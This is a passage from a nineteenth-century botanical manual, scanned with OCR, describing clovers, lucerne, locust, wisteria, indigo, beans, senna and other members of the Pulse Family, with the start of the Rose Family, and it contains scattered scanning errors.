lower florets open first, and are successively reflexed, — so that, during the process of flowering, the heads appear horizontally divided between the withered and the young or opening florets. This species is everywhere common — and in some years very abundant, — though rarely cultivated. Its flowers are a favorite resort of the Honey Bee ; and the plant is esteemed, as affording an excellent pasture in the cooler portions of the country — though Mr. Elliott speaks unfavorably of it, in the South. Torret and Gray consider the White Clover as indigenous, while others be- lieve it to have been introduced from Europe. J onathax Dickixson, in 1719 [vide Watson's Annals), writing from Pennsylvania, says, " the white clover already tinges the roads as a natural production." ELalm, in 1748, spoke of it as being abundant, here. T. reflex'uin, L., (Buffalo Clover), which has ascending pubescent stemS; and very large heads of red and white flowers, and the nearly related T. stoloniferum, MiM. (Running Buffalo Clover), with long runners, are common at the West. But little is known of their agricultural value. Two introduced, annual species, are found in old fields and along road-sides ; they have both yellow flowers, which are reflexed and become chestnut-brown with age, viz. : T. agrdnum, L., ( Yellow or Hop Clover), which is mostly erect, with leaflets all from the same PULSE FAMILY. 99 point; T. procumhem, L., (Low Hop Clover), usually procumbent, the terminal leaflet petiolulate. They are worthless species, — which are gradually extending themselves from our sea-ports to the interior of the country. 3. MELILO'TUS, Tournef. Melilot. [Greek, J/eZi, honey, and Lotus ; a Lotus-like plant, attractive of Bees.] Calyx as in Clover. Corolla deciduous. Legume longer than the calyx, coriaceous, globose or ovoid, 1 -few-seeded, scarcely dehiscent. Herbs becoming fragrant in drying. Flowers mostly in long spicate racemes. 1. 31. alba. Lam. Stem rather erect, striate ; leaflets ovate-oblong, somewhat emarginately truncate at apex, mucronate, remotely dentate- serrate ; racemes loose, elongated ; corolla white, the standard longer than the other petals ; legume ovoid-oblong, wrinkled ; 1 - 2-seeded. White-flowered Melilotus. Tree Clover. Bokhara Clover. Fr. Le Melilot blanc. Germ. Weisser Steinklee. Span. Meliloto. Root biennial? Stem at first ascending or oblique, finally erect. 3-5 or 6 feet high, stout, stria te-ribbed, smooth, paniculately branched. Lmfids an inch to an inch and a half long; common pe<ioZc5 1 - 2 inches long. Racemes 2 -4 inches long, on axillary peduncles 1-2 inches in length. Flowers retrorsely imbricated before opening. Introduced, and partially cultivated. Native of Europe. Fl. June -August. Fr. August - September. Obs. This plant has been introduced by some amateur farmers, and much commended as being specially suited for soiling (or cutting, as wanted, for stock that are kept up) ; but, without any practical know- ledge on my part, I cannot help doubting whether so coarse a plant can be as valuable as the common Red Clover. A former species of this genus [M. coerulea, Lam.) — but which has been separated, and is now the Trigonella coerulea, DC, a plant of strong and enduring odor — is employed, in Switzerland, to give the peculiar flavor to the famous Schabzieger, or (as it is usually called in the vernacular) " Sap-sago " Cheese. Another species with yellow flowers [M. officinalis, Willd), is also found in waste places. 4. MEDIC A'GO, Tournef. Medick. [So named by the Greeks, from having been introduced by the Medes.] Flowers mostly as in Melilotus. Legume usually many-seeded, of various forms — always more or less falcate, or spirally coiled. Leaves pinnately 3-foliolate. 1. M. safiva, L. Stem erect ; leaflets obovate-oblong, dentate ; stipules lanceolate, subdentate ; racemes oblong ; legumes spirally twisted, finely reticulated, several-seeded. Cultivated Medicago. Lucerne. Spanish Trefoil. French Luzerne. Fr. La Luzerne. Germ. Der Schneckenklee. Span. Alfalfa. Mielga. 100 WEEDS AXD USEFUL PLAXTS. Root perennial. Stem 1-2 feet high, hranched, smcMDthish. Leaflds half an inch to an inch long — the lateral ones subsessili-, tii - t i-minal one petiolulate ; common petiole one- fourth to three-fourths of an inch l":,-" /' ' erect, on peduncles half an inch to an inch long. Corolla violet-purple, netii l^- ' wj a-, long as the calyx. Introduced : cultivated. Native of ^paiu. i^7. June -July, Fr. August. Ohs. This was formerly cultivated on a small scale, as a fodder ; but it did not find favor vrith our farmers, and is now rarely seen in Pennsyl- vania. It might answer, for soiUno;, m suitable situations — though I think the stem is too lis'Deous and wiry to V)Ccorae a favorite fodder, where the red clover can b j had. Its culture is successful in Xorthern Mexico, where it is cut several times during the season. The Sarnt-foin {Hedysarum Onobrychis, L., or Onohrychis sntiva, Lam., a plant of the Htdysarum tribe), is much cultivated for fodder, on the calcareous soils of Europe — and the late Mr. Crawford, of Georgia, interested himself in endeavoring to introduce it into the Southern States : but I do not learn that its culture was adopted to any extent. I have never met with it on any farm ; and presume it scarcely belongs to the Agriculture of this country. 2. M. lupuU'm, L. Stem procumbent, pubescent ; leaflets wedge- obovate, denticulate at the apex ; flowers in short spikes, yellow ; legnmes reniform 1-seeded. Hop-like Medicago. Black Mcdick. Xonesuch. Biennial? St^:m 6-12 inches long, somewhat branched, procumbent. Leaflds inch to nearly an inch long, sometimes nearly rhomboid. Common petioles yi of an inch to an inch in length. Hea.ds of flowers at first roundish, finally oblong, on slender pedun- cles 1-2 inches long. Legumes black at maturity. Fields, &c. Xat. from Europe. June -Aug. Ohs. This species which, when in flower, resembles a yellow clover, is quite common in pastures in England, and is sparingly naturalized in this country. vSeveral other species, recognized by their spirally coiled pods, are sometimes found in M-aste places, their seeds having been intro- ducdPin wool. # 5. EOBI'XIA, i. EocrsT-TREE. [Name in honor of Jolin and Vespasian Rotdn ; French Botanists.] Calyx short, 5-toothed, slightly 2-lipped. VexiUirin large and rounded, reflexed, scarcely longer than the wings and keel. Lc^'iune compressed, Fig. 76. A curved pod of Lucerne (Medicago sativum). PULSE FAMILY. 101 many-seeded, tne upper or seed-bearing suture margined. Trees or shrubs. Leaflets petiolulate. stipellate : base of the leaf- stalks enlarged, covering the buds of the ensuing year. L R. Pseud-aca'cia, Branches virgate, armed with stipular prickles ; leaflets obiong-ovate ; racemes loose, drooping ; legumes smooth. False-acacia Eobixli. Locust-tree. stem 30 - 60 or SO feet high, and 1-2 feet in diameter. Leaflets 3 or 4-8 or 9 pairs, 1-2 inches long, each with a small subulate stijpd at base ; common petiole pinnate nearly to the base, with 2 stout prickles in place of stipules. Eacemes3-6 inches long. Corolla white. Z€^7n« 2-3 inches long. Mountain forests : Pennsylvania to Arkansas. H. May- June. Fr. September.' Obs. The Locust-tree, though generally found in the Middle and Eastern States, is only truly indigenous in the Western and Southern portions of the Union. It attains its greatest perfection in Kentucky and Tennessee, where it reaches to the height of 90 feet, with a diameter of 4 feet. The timber is one of the most valuable, whether for strength or durability ; in the former quahty it ranks but little below the oak, while its resistance to decay, even when exposed to the most destructive influences, exceeds that of the wood of any other of our forest-trees. It is largely employed in ship building, and is preferred to any other wood for treenails, as the pins are called which fasten the planks to the frame of the vessel. For posts, rail-road ties or sleepers, «tc., it is invaluable. The Locust is often planted as an ornamental tree ; it has a graceful habit, and is highly — even oppressively — fragrant, when in flower. The disadvantages attending its culture about dwellings are, the readiness with which its branches are broken by the winds, the many suckers its roots send up, and the numerous insects that live upon it. Indeed, so many insects prey upon this tree, that in some localities it seldom attains any great size. It is said that when the trees are planted closely, so as to form Locust Griyves. they are much less liable to the attacks of worms than when they grow singly. Considering the value of the timber and the rapidity of its growth, even on light and poor land, the culture of the Locust is worthy of much more attention than it has yet received at the hands of our farmers. The Clammy Locust (R. visco'sa, Vent.) is inferior in size and value ; it has the branches clothed with viscid glands, and is found on the southern borders of Virginia, and further South. The Rose Acacia (R. Ms'pida, L.) is a shrub 3-8 feet high, with large rose-colored flowers. It is often cultivated, but is inclined to spread and become troublesome if not kept within bounds. * 6. WISTA'EIA, Nutt. Wistael^.. [Xamed for Prof. Caspar Wisiar. of the University of Pennsylvania.] Calyx campanulate, somewhat 2-lipped ; the upper lip of 2 short teeth ; the lower of 3 longer ones. Standard large, with 2 callosities at base ; keel scythe-shaped ; wings with one or two auricles at base. Pod stipi- tate, elongated, nearly terete, knobby, many-seeded. Twining shrubs 102 WEEDS AXD USEFUL PLANTS. with unequally pinnate leaves of 9 - 13 leaflets, and minute stipules, with lilac-colored flowers in large racemes. 1. W. frutes'cens, DC. "Wings of the corolla 2-auricled at base; ovary glabrous. Yirginia, South and West. May. Woody Wistael^. Glycine. Carolina Kidney Bean. 2. W. Chixen'sis, DC. Wings of corolla 1-auricledat base ; ovary hairy. Cultivated. Native of China. May. Chinese Wistaeia. Glycine. Obs. These beautiful vines, the one a native of the rich alluvial soils of the southern portion of the Union, and the other from China, are eminently worthy of cultivation. They both grow readily, are quite hardy, and may be propagated with the greatest ease. The Chinese species is most generally cultivated, its flower racemes being much larger than in the native one ; but the other is much darker colored, and has more fragrance. * 7. IXDIGOF'ERA, L. Lndigo. [A Latinized name ; meaning a plant that produces or brings Indigo.] Calyx 5-cleft ; segments acute. Vexillum orbicular, emarginate : lieel with a subulate spur on each side — at length often bent back elastic- ally. Stamens diadelphous. Style filiform, glabrous. Legume continu- ous, 1- few- or many-seeded. SeecU truncate at both ends, often separat- ed by cellular partitions. Herbaceous or suffruticose plants. Leaves various, usually odd-pinnate ; stipules small, distinct from the petiole. Flowers in axillary racemes. 1. I. tincto'eia, L. Stem suffruticose, erect; ;;voung branches and common petioles clothed with a cinereous pubescence : leaflets in 4 or 5 pairs, with a terminal odd one, oval or obovate-oblong, mucronate, petiolulate, somewhat pubescent beneath with whitish appressed hairs ; racemes shorter than the leaves ; legumes su]>terete, torulose, cmwed and bent downwards. Dyee's Ixdigofeea. Indigo. Indigo-plant. Fr. LTndigotier. Germ. Die Indigopflanze. Span. Indigo. Annwl or Uennial. Stem 2-3 feet high, branching. Leaflets half an inch to an inch in length: common petiole 2-3 inches long. Eacemes 1-2 inches long. CordUa purplish- blue. Legumes numerous, half an inch to three-quarters in length, deflected on the pedicel, curved upwards. Southern States : cultivated. Native of Asia and Africa. Ohs. This plant, so important in yielding a blue coloring matter — was formerly cultivated to a considerable extent, in Georgia, and some other portions of the South : but the supply from India, and other places abroad, seems to have curtailed that branch of Southern Agri- culture, — and has probably turned the attention of the planters to a PULSE FAMILY. 103 more healthful and agreeable, if uot a more profitable, employment. The indigo-plant is said to be annual, when subject to inundations, — as on the delta of the Ganges : but it is sometimes fruticose — yielding one or two ratoon crops (i. e. successive growths of suckers, or sprouts), after having been cut off. Another species— I. Axil, L. — is said to be also cultivated at the South. It diflers from the above chiefly in its flattened, even (not torulose) pods. 8. CI' GEE, Tournef. Ghick-pea. [The Latin name for a species of Vetch ; appUed to this genus.] Calyx somewhat gibbous at base, 5-parted ; segments acuminate, — the upper ones incumbent on the vexillum. Legume turgid, 2-seeded. Seeds gibbous. 1. C. AEiETi'xoi, L. Leaves odd-pinnate; leaflets cuneate-obovate, serrate ; stipules lanceolate, subdeuticulate ; calyx slightly gibbous, — the segments as long as the wings of the corolla. Eam Cicer. GoSee-pea. Ghick-pea. Garavances. Fr. Le Pois Ghiche. Germ. Gemeine Kicher. Span. Garbauzo. Whole plant canescent and glandular-pilose, the hairs secreting oxalic acid. Boot annual. Stem 9-18 inches high, branching. Leaflets about half an inch long, in 4-6 pairs (often alternate) with a terminal odd one instead of a tendril, i^iou-ers axillary , solitary, white. Seed gibbous, pointed — in form resembling the head of a sheej) — and hence the specific name. Gardens: cultivated. Native of Europe and the East. J"?. July -September. Fr. August - October. Obs. This is sometimes cultivated for tbe seeds — which are said to be a tolerable substitute for coffee. The seeds are much used, as food for horses, kc. in India, — being very abundant (as I recollect to have seen it) in the Bazaars at Calcutta, under the name of Gram." This vetch is the '■ Hamoos Pea which is announced as a novelty, or a great curiosity (discovered among the Arabs) in Lyxch's Expedition to the Dead Sea ; though it has been familiarly known in the gardens, through- out the civilized world, ever since the days of Tournefort — if not of Homer I So much for the penny-wise policy of sending out Exploring Expeditious unaccompanied by competent Xaturalists. 9. AEA'CHIS, L. Peaxxt. [An ancient name of obscure meaning.] DioEciously polgyamous. The sterile and fertile flowers produced together in the axils ; the sterile, most numerous in the upper axils, with a slender calyx tube, the limb bilabiate, the upper lip 4-toothed. the lower entire. Stamens monadelphous (9 united and 1 abortive.) ovan/ mi- nute, abortive. Fertile fl. without cahx, corolla, or stamens. Ovary on an elongating stipe by which it is thrust under ground, where it ma- tures as an oblong obtuse terete pod, the indehisceut valves becoming thickened and sonewhat woody, reticulately veined on the surface. 104 Y>'EEDS AND TSEFFL PI^VNTS. Seeds irregularly ovoid with very thick cotyledons and a straight radicle. Herbs with even-pinnate leaves having elongated stipules adnate to the petiole, the stipe or peduncle of the fertile flowers often elongating sev- eral inches before reaching the earth. (This plant properly "belongs to a section of the order not included in our synopsis, and is 'placed "here as a matter of convenience.] 1. A. hypog^'a, L. Stem procumbent : leaflets obovate. — the com- mon petiole not produced into a tendril. Subterranean Aeachis. Ground-nut. Pea-nut. Fr. L'Arachide. Germ. Die Erd-nuss. Span. Mani. Root annual. Stem 9 -IS inclies long, prostrate or erect, branching, pilose. LeaMets an inch to an inch and a lialf long, snhsessile, minutely mucronate at apex, entire and bor- dered by a pilose nerve; common petioles 1-2 inches long, channelled above, pilose. Sterile Jioi>:ers,l OT 2-5 or 7, in the upper axils, on long slender pedicels — ^the corolla orange-yellow. Cultivated. Xative of South America. J"Z. July -September. P/. September - October. Fig. 77. The Pea-nut (Arachis hypogaea) , exhibiting the manner in whicb the ovaries, after flowering, bury themselves in tlie earth, where they ripen. PULSE FAMILY. 105 Obs. The summers are rather short for this plant, in Pennsylvania, — ■where it is sometimes seen in gardens, as a curiosity : but, in the Soutli- eru states it is cultivated to a great extent, — and from thence our nut- merchants derive their supply. The seeds, — either raw, or roasted in the legumes — are quite a favorite with children, and others ; and large quantities of them are consumed at all public gatherings. The seeds are said, also, to yield a valuable oil. 10. FA'BA, Tournef. Horse-bean. [The Latin name for a Bean; appropriated to this genus.] Calyx tubular, 5-cleft, — the two upper segments shorter. Style bent nearly at a right angle with the ovary ; stigma villous. Legume large, coriaceous, somewhat tumid. Seeds oblong, subcompressed, with the hilum at one end. Stem erect. Tendrils simple and nearly obsolete. 1. F. vulga'ris, ilfoencA. Leaflets 2 - 4, oval, mucronate ; stipules semi- sagittate, obliquely ovate. Common Faba. Horse Bean. "Windsor Bean. Fr. Feve de Marais. Germ. Die Sau-Bohne. Span. Haba. Root annual. Stem 1-2 feet high, simple, smootli. Leaflets 2-3 inches long, entire, smooth ; tendrils obsolete ; stipules large. Flowers in simple erect axillary racemes. Corolla white, with a large black spot on each wing. Legume 2-3 inches long, torulose. Gardens : cultivated. Fl. June- July. IV. August. Ohs. This bean — originally from the shores of the Caspian Sea — is sometimes cultivated for the table, — but is not generally admired. The seeds have a strong and rather unpleasant flavor. 11. ER'VUM, Tournef. Lentil. [The Latin name for a species of Vetch or Tare.] Calyx 5-parted ; segments lance-linear, acute, about as long as the corolla. Style ascending ; stigma glabrous. Legume 2 - 4-seeded. 1. E. Lens, L. Stem erect, branching ; leaflets elliptic oblong, some- what pilose ; stipules obliquely ovate-lanceolate, ciliate ; peduncles axillary, 2 - 3-flowered ; legumes broad, short, finely reticulated, smooth, 2-seeded ; seeds lenticular. Lentil. Fr. La Lentille. Germ. Gemeine Linse. S'pan. Lenteja. Root annual. Stem 6-12 rnches high. Leaflets 3-6 or 8 pairs, half an inch long ; ten- drils nearly simple. Corolla white or pale purple. Legume about half an inch long. Seeds 2, orbicular, compressed, white or tawny yellow. Gardens : cultivated. Native of Europe. Fl. June - July. Fr. August. Obs. This Yetch is cultivated in the old world, chiefly, I believe, as food for stock, — both herbage and seeds serving that purpose. The plant is sometimes seen in gardens here ; but it will scarcely command the attention of American agriculturists. When properly cooked, len- tils are a tolerable substitute for beans ; they are much prized as food 5* 106 ^VEILDS ASU USEFUL PLAXT6, by the Mexicans, and form tlie basis of the "'"'Liiisen Sonp " of xh-- Ger- mans. It appears from Dr. J. I). Hooker's Xotes. that the ?c--J; nf ibis plant are sometime? called ■• Gram."' in India ; but that name is believed to be more usually applied to the seeds of Cicer. 12. PI'SUM. ToimKyf. Pea. [Tiie Latin i^cme for the common Pea.] Calyx-segments foliaceous. the two upper ones shorter. YexUIum large, reflexed. Style compressed, keeled, villous on the upper margin. Le- gume oblong. Seeds numerous, globose, with an orbicular hilum. 1. P. SATi'vtrM. L. Leaflets rhombijid-ovate. rather obtuse, mucronate. entire : stipules yery large, ovate, semi-sagittate, crenate-dentate at base ; peduncles 2 or manv-flowc-red : legumes subcarnose. Cultivated Pisum. Pea. Garden-pea. Fr. Pois cuitive. Germ. Gemeine Erbse. Span. Guisante. Plant smooth and glaucous, i?''-:' ar.nu?.' . .^vjvi 1 - S --r 4 V.-r.z : faccid. sfipuZes larger than the leaflet- . , - - ; - . :th two flowers at summit. CbroIZa wLi: r^i^/X/ i. „l . l ,v- i-^g. sub terete. Gardens and lots : cultivated. Xative cotmtry unknown. Fl. June -July. J'r. July- August. Ohi. Several varieties of this are cultivated i^one or more of them in almost every £"ardeu i. chiefly for the young seeds, or " green peas."" which aflbrd a favorite dish at table. In the Xorthern states, the field cultm-e of Peas (for the mature seo-ds. ' is much attended to : but it is rarely seen in Pennsylvania — or. I believe, south of that. The Sweet Pea 'and the Everlasting Pea. cultivated for ornament, belong to the genus Lathyrus of the same tribe. 13. TI'CIA. Tournef. Tetch. jT-c- anciont Latin name fcr Tetca or Tare.] Calyx 5-cleft. or 5-toothed. the two upper teeth shorter. S^yh filiform, bent ; stigma villous. Legume oblong, mostly many-seeded. Seeds with the hilum lateral. 1. T. SATi'vA, L. Annual : stem simple ; leaflets 5 - T pairs, obovate- oblong to linear, refuse, mucronate ; flowers mostly in pairs, nearly sessUe. CcLTiVATED TiciA. Commou Yetch. Tare. Stem 1-3 feet long, procumbent or climbing by tendrils. Lea.fiets Jl of an inch to an inch and a half in length. Floioers violet purple, axillary. Cultivated grotmds. Xative of Europe. Jtme - Augtist. Ohs. Tills species was formerly much cultivated, and seems still to be highly prized, in Europe, as a fodder for cattle : but in this couiitry it is regarded as a mere weed. PULSE FAMILY. 107 14. PHASE'OLUS, L. Beax. [The ancient name of the Kidney Bean.] Calyx someTvhat bilabiate -the upper lid bifid or emarginate, the lower one trind. Keel (of the corolla) together with the stamens and style, spirally twisted or incurved. Ovary stipitate, the stipe sheathed. Legume linear or falcate, compressed or subterete, tipped with the base of the style, many- seeded. Seeds reniform. with an ovai-obloug kilum. Leaves trifoliolate. 1. P. yixga'eis, Savi. Stem mostly volnbile ; leaflets ovate acumi- nate ; racemes soKtary. pedunculate ; bracts as long as the calyx ; le- gumes nearly linear and straight, long-mucronate ; seeds reniform. CoM^iox Phaseolus. Kidney Bean. String Bean. Pole Bean. Fr. Haricot. Germ. Gemeine Bohne. Spaa. Fasoles. Root annual. Stem 4-6 or 8 feet long, slender, volubile and climbing (always twining, against the sun — W. S. E.) — cr short and erect (in the bunch variety). Leo-flels 2-4 or 5 inches long ; commf,n petioles 1 - 5 or 6 inches long. Racemes on stout peduncles 1-3 or 4 inches long. Cor&ZZa mostly white. Z€^2m€ 3 - 6 inches long. Seeds more or less reni- form, whitish, or of various colors. Gardens and lots : cultivated. Xative of India. PZ. June - August, i^-. September. Obs. Very generally cultivated for the table, — both seeds and le- gumes being eaten while young ; when mature, the seeds only. The baked beans " of Xew England, constitute a sort of national dish among the descendants of the Pilgrims. The P. NANUS, L. Dwarf or Bunch Bean (with a short erect stem, more acuminate leaflets, and larger bracts), is supposed to be only one of the many varieties produced by long culture. 2. P, Luna'tus, L. Stem volubile. smoothish ; leaflets obliquely- or deltoid-ovate, acute ; racemes subpedunculate ; bracts shorter than the calyx ; legumes broad, compressed, scymitar-form or somewhat lunate ; seeds much compressed, broad. Lunate Phaseolus. Lima Bean. Carolina Bean. Eoot annual. Stem 6-8 or 10 feet long, branching, slender, volubile and climbing. Leaf- l^s2-i inches long : common petioles 2-6 inches long. Racemes loose flowered, on pedun- cles about two-thirds of an inch long. Corolla greenish-white, rather small. Legumes 2-3 inches long, and about an inch wide. Seeds few, large, flatfish and mostly white. Gardens and luts : cultivated. J^Z. July -August. P/-. September - October. 06s. This species (supposed to be a native of Bengal — though gen- erally named as if of South America.) affords a favorite dish, in the latter part of summer,— the large seeds only bein^ used. Both species are tender plants, impatient of cold, and killed by the slightest frost. 15. BAPTIS'IA, Vent. False Lvdigo. {Greek, Baptizo, to dip, or dye ; from its coloring properties.] Calyx 4-5-toothed. Petals nearly equal, — the keel-petals slightly connected. Stamens 10, distinct. Legume ventricose, stipitate in the persistent calyx, many-seeded. Herbs; /mt-es mostly trifoliolate, turn- ing bluish-black in drying. 108 WEEDS AXD USEFUL PLANTS. 1. B. tincto'ria, R- Brown. Bushy ; smooth, and rather glaucoiis ; leaflets cuneate-obovate ; stipules subulate, deciduous ; racemes termi- nal, few-flowered. Dyer's Baptisia. Wild Indigo, Horse-fly TTeed. Battle Bush. Perennial. Stem about 2 feet high, mucli branched. Leaflets half an inch to an inch long ; mmnum petioles 1 line to 3^ of an inch in length. Flowers yellow ; calyx 4-toothed — the 2 upper segments being united. Legumes about half an inch long, inflated, conspicu- ously siipitate. Drj' hills and woodlands : common. June - September. Ohs. The Wild Indigo, which is introduced here on account of its re- puted medicinal qualities, is conspicuous when in flower, especially in sandy woods and fields. It is said that a coarse kind of Indigo can be prepared from its leaves, but we know of no reliable experiments upon this point. Medicinally, it is said to possess emetic and purgative prop- erties, and has been used externally as an application in foul ulcers. It is often used to drive flies away from horses, being attached to their harness, hence one of the common names ; it is probable (.hat its efi&cacy in this case, if there be any, is wholly mechanical, and not due to any peculiar property of the plant. Several other species are found in the South and West ; among these is B. australis, R- Brown, which is often cultivated, — it is 4-5 feet high, with large racemes, 1 - 2 feet long, — of handsome blue flowers. * 16. CER'CIS, L. Red-bud, [Greek, Kerkis, a weaver's shuttle ; froni the form of the legume.] Calyx 5-toothed, Corolla scarcely papilionaceous ; petals all distinct, un- guiculate, — the vexillum smaller than the wings, and the keel-petals larger. Stamens unequal. Legume oblong, acute at each end, much compressed, 1-celled, many-seeded, — the upper suture margined, seeds obovate ; radicle straight. Small trees, with simple entire leaves, and membranaceous caducous stipules. Flowers fasciculate along the branches, appearing before the leaves. 1. C. Cana^den'sis, L. Leaves orbicular-cordate, acuminate, villous in the axils of the nerves beneath. Caxadiax Cekcis. Bed-bud. Judas-tree, stem \b- 20 or 30 feet ifgh and 6-12 inches in diameter, with somewhat geniculate branches. Leaves 2, --^ inches long : petioles 1-2 kiches long. Flowers bright purple, acid, on filiform pedicds which are clustered (4-6 or 8 from a bud) on the naked branches. Legumes about three inches long, subcoriaceous, smooth. Banks of streams : Canada to Louisiana. Fl. April. Fr. June. Ohs. This little tree is admired, in early spring, for its clusters of small flowers, which clothe the branches, and even the trunk, in purple, before the leaves appear. Although not of agricultural importance, it deserves to be known, and to have a place among ornamental shrubbery and trees, around the mansion of the tasteful farmer. PULSE FAMILY. 109 17. CAS'SIA, L. Senna. ["An ancient name of obscure derivation.] Flowers perfect ; Se])als 5, scarcely connected. Petals 5, unequal, spread- ing, not papilionaceous. Stamens mostly 10, some of them often imper- fect ; anthers opening at apex. Herbs : leaves equally pinnate, with a gland near the base of the petiole. * Leaflets large; stipules deciduous: the lower anthers fertile, the 3 upper ones deformed and sterile. L C. Marilan'dica, L. Perennial ; stem erect, leaflets 6-9 pairs, ovate oblong ; petiole with a club-shaped gland near the base ; racemes axillary, the upper ones somewhat paniculate ; legumes at first hairy> at length smooth. Maryland Cassia. Wild, or American Senna. stem 3-4 feet high, rather stout, branching. Leaflets 1-2 inches long, petiolulate ; common petioles 1-2 inches in length below the leaflets, with an obovoid subsessile gland on the upper side. Racemes pedunculate, those in the upper axils forming a sort of ter- minal leafy panicle ; ^ou-ers yellow, often becoming a dead white. Legumes Z ~ ^ mchas long, villous when young, compressed, somewhat curved, often sinuate on the edges from partial contractions ; seeds ovate-oblong, separated by a kind of transverse partitions. Low grounds along streams : frequent August -October. Ohs. This very showy species is found in most parts of the United States ; its leaves possess properties similar to those of the imported Senna of the shops — which is also furnished by several species of the ge- rm. 78. Wild Senna (Cassia Marilandica) , a short racome in the axil of an abruptly- pi':inate leaf. I 110 WEEDS AXD LSEFUL PLA^'TS. nus Cassia. While some writers state, that it requires a third larger dose than the imported senna, to produce the same eifect. others claim for it an equal rank as a purgative. It is cultivated to considerable extent by the ■• Shakers." and though it has not received the general attention at the hands of the medical profession that it deserves, it is frequently used in domestic and country practice. The leaves should be collected when the fruit is ripe, the active principle being then more fully develop- ed than at the flowering time. * 2. C. occ'denta'Iis. L. Leaflets 4-6 pairs, ovate lanceolate acute; gland o^'ate : pods elongated-linear, smooth. Western Cassia. Styptic Weed. Perennial. 5fe7?i 4 - 6 f--T hicli. i-'iT?,--:;.^ se-rrate-ciliolate. i^zfifr? lar re. yellow. Le- gume somewhat coriaceo us, about 5 uiclies L cig. with a tumid border : 20-od-seeded. ^ ear buildings : Virginia to Djuisiana. July- October. Ohs. This plant, which i: very common at the South, is believed to be introduced from Tropical America, where it has some medicinal reputa- tion. The root is said to be diuretic, and the leaves are used as a dress- ing to slight sores. * Leafiet^i small, somewhat sensitive to the touch : stipules persistent ; petio- lar gland cup-shaped ; anthers all perfect. 3. C. Cliamsecris'ta, L. Stems spreading : leaflets S - 15 pairs, linear oblong ; flowers large and showy; stamens 10. unequal. Partridge Pea. Sensitive Pea. MagothY-bay Bean. stem 1-2 feet Wgli. firm and somewhat woody at base, much branched, often purplish. Zea^ef^ half an inci to r. -a'- an ir- :i i ' _-, nvir :t-ly ci'iat--- rr'-.'at-, s ibsessile ; common _p€fic>Zes about one-thir i : ^ - pressed or cup- like gland on the upp; : - / - ; . purple spots at base), in lateral subsessii- i.L;::L . ax i- tL- 1 a , ^ — it u iu f>airs, some- times 3-4. Legume about 2 inches long, hairy along the sutures. Sandy fields : common, especially southward. July -September. Ohs. In a paper read before the American Philosophical Society. May 2. ITSS. and published in the 3d volume of their Transactions. Dr. Green- way ijf Virainia. speaks favorably of this plant as a means of recruiting w^rn 'Vut lands, by its decomposition in the soil. — though he considers the common corn-field Pea as prt-ferable : and I have no dcmbt that the Eed Clover (TrnoUuni pratens:). properly managed, is more eligible than either. 18. GYMXO'CLADrS, Lim. Kextl-cky Coffee-tree. [i^^reek. Gymnos. naked, and Klados. a branch : in rL-f/rvn::- to its stout naked branches.] Flowers dioecious, regular. Ca/?/x tubular, 5-cleft. Pcfo^' 5. eciual. ob- long, inserted on the calyx-tube. Stamens 10. distinct, inserted with the petals. Legume oblong, flat, the valves thick and woody, pulj^y within. A tree with the young branches clumsily thick : havts odd-bipinnate. PULSE FAATILY. Ill 1. G. Canaden'sis, Lam. Leaflets 7-13 on the subdivisions, ovate, petiolulate — the lowest a single pair ; flowers in axillary racemes. Caxadiax Gtmxocladus. Kentucky Coflee-tree. Kentucky Mahogany. stem 50-80 feet high, branching. Leaves 2-3 feet long, bipinnately branching ; leaf- lets rather alternate, entire, about 3 inches in length. Flowers greenish white. Legumes 6-10 inches long, and 1-2 inches wide, somewhat falcate ; seeds nearly orbicular, a little compressed, over half an inch in diameter. Rich woods : W. Xew York to Illinois and south-westward ; also in cultivation. Fl. May. Fr. October. Obs. This fine tree has been introduced into the Eastern States, from the TTest ; and although not equal to some others, as a shade tree, is worthy of a place in all ornamental plantations. The timber is valuable, possessing a fine and close grain ; qualities which adapt it to the use of the cabinet-maker. 19. GLEDIT'SCHIA, L. Hoxey Locust. [Named in honor of John Gottlieb Gleditsch, a German Botanist.] Flowers polygamous. Sepals 3-5, equal, united at base. Petals as many as the sepals, — or fewer by abortion — or by the union of the two lower ones. Stamens as many as the sepals and opposite them, or by abortion fewer. Lep^ume stipitate, often intercepted internally between the seeds, dry or with sweet pulp around the seeds. Seeds oval. Trees : the super-axillary branchlets often converted into simple or branched spines. Leaves even-pinnate or bipinnate (often both forms on the same tree.) Flowers small, somewhat spicate. 1. G. triacan'thos, L. Spines stout, mostly triple ; leaflets linear or lance-oblong, somewhat serrate ; legumes oblong, much compressed, somewhat falcate and undulate, many-seeded, — the intervals filled with sweet pulp. Three-thorxed Gleditschia. Honey-locust. Three-thorned Acacia. Fr. Le Fevier a trois Epines. Germ. Der Honigdorn. S.em. 30-50 or 60 feet high, and 2-3 or 4 feet in diameter. Leaflets about an inch or an inch and a half long. i^Zcwers yellowish green. Legumes & -\2 oi lb inches long, and an inch or more in width, thin and wavy, or somewhat twisted. Pennsylvania to Louisiana : often cultivated. Fl. July. Fr. September -October. Ohs. The light foliage of this tree gives it a pleasing aspect, but it is not a good shade tree. It is in frequent cultivation as an ornamental tree, and seems to be nearly naturalized around Xew-Tork. It has been used with success in some localities for hedging, its formidable thorns compensating, by their utility, for the beauty which a hedge with such light foliage must lack. The thorns are knocked ofl" by the winds and, being often so compound that however they may lie, some points will stick up, prove very troublesome by wounding the feet of cattle. 112 WEEDS AND USEFUL PLANTS. Order XXYL KOSA'CE^. (Eose Family.) Trees, shrubs or herbs with alternate stipulate leaves, and reg\i\nT flowers having a calyx of 5 (rarely 3-4 or 8) sepals more or less united, often with as many bracts, and petah as many as the sepals, inserted with the numerous (rarely few) stamens on the calyx. Pistils 1-many, free, or (in the Pear tribe) united within the calyx-tube. (Steeds 1-few in each ovary, without albumen ; radicle straight. This Order — comprising about sixty genera — is remarkable for the amount and variety of its esculent products. Many of the fruits are valuable, and some of them eminently delicious, while the type of the Order (Rosa) is by universal consent regarded as the queen of beauty among flowers. A few of the drupaceous species of the Order contain a dangerous quantity of Prussic Acid, in the nuts and leaves ; but the fleshy or succulent fruits are, almost without exception, innocent and wholesome. 1, The Almond Sub-family. Ovaries solitary, free from the deciduous calyx. Style terminal. Fruit a drupe (stone-fruit). Trees or shrubs ; the bark exuding gum ; the bark, leaves and kernels possessing the peculiar flavor of prussic acid. Stipules free. Stone of the fruit rough. Petals rose-color. Stone of the fruit smooth. Petals white. Stone flattened, with grooved edges. Skin of fruit downy. Stone more or less flattened, generally margined. Fruit with a bloom. Stone roundish or globular. Fruit without a bloom. 1. Persica. 2. Armeniaca. 3. Pruntts. § 1. S. Pkunus. §2 a3 2. The Eose Sub-family. Ovaries many or few, separate from each other and from the calyx, Dut sometimes enclosed by and concealed in its tube. St3'les 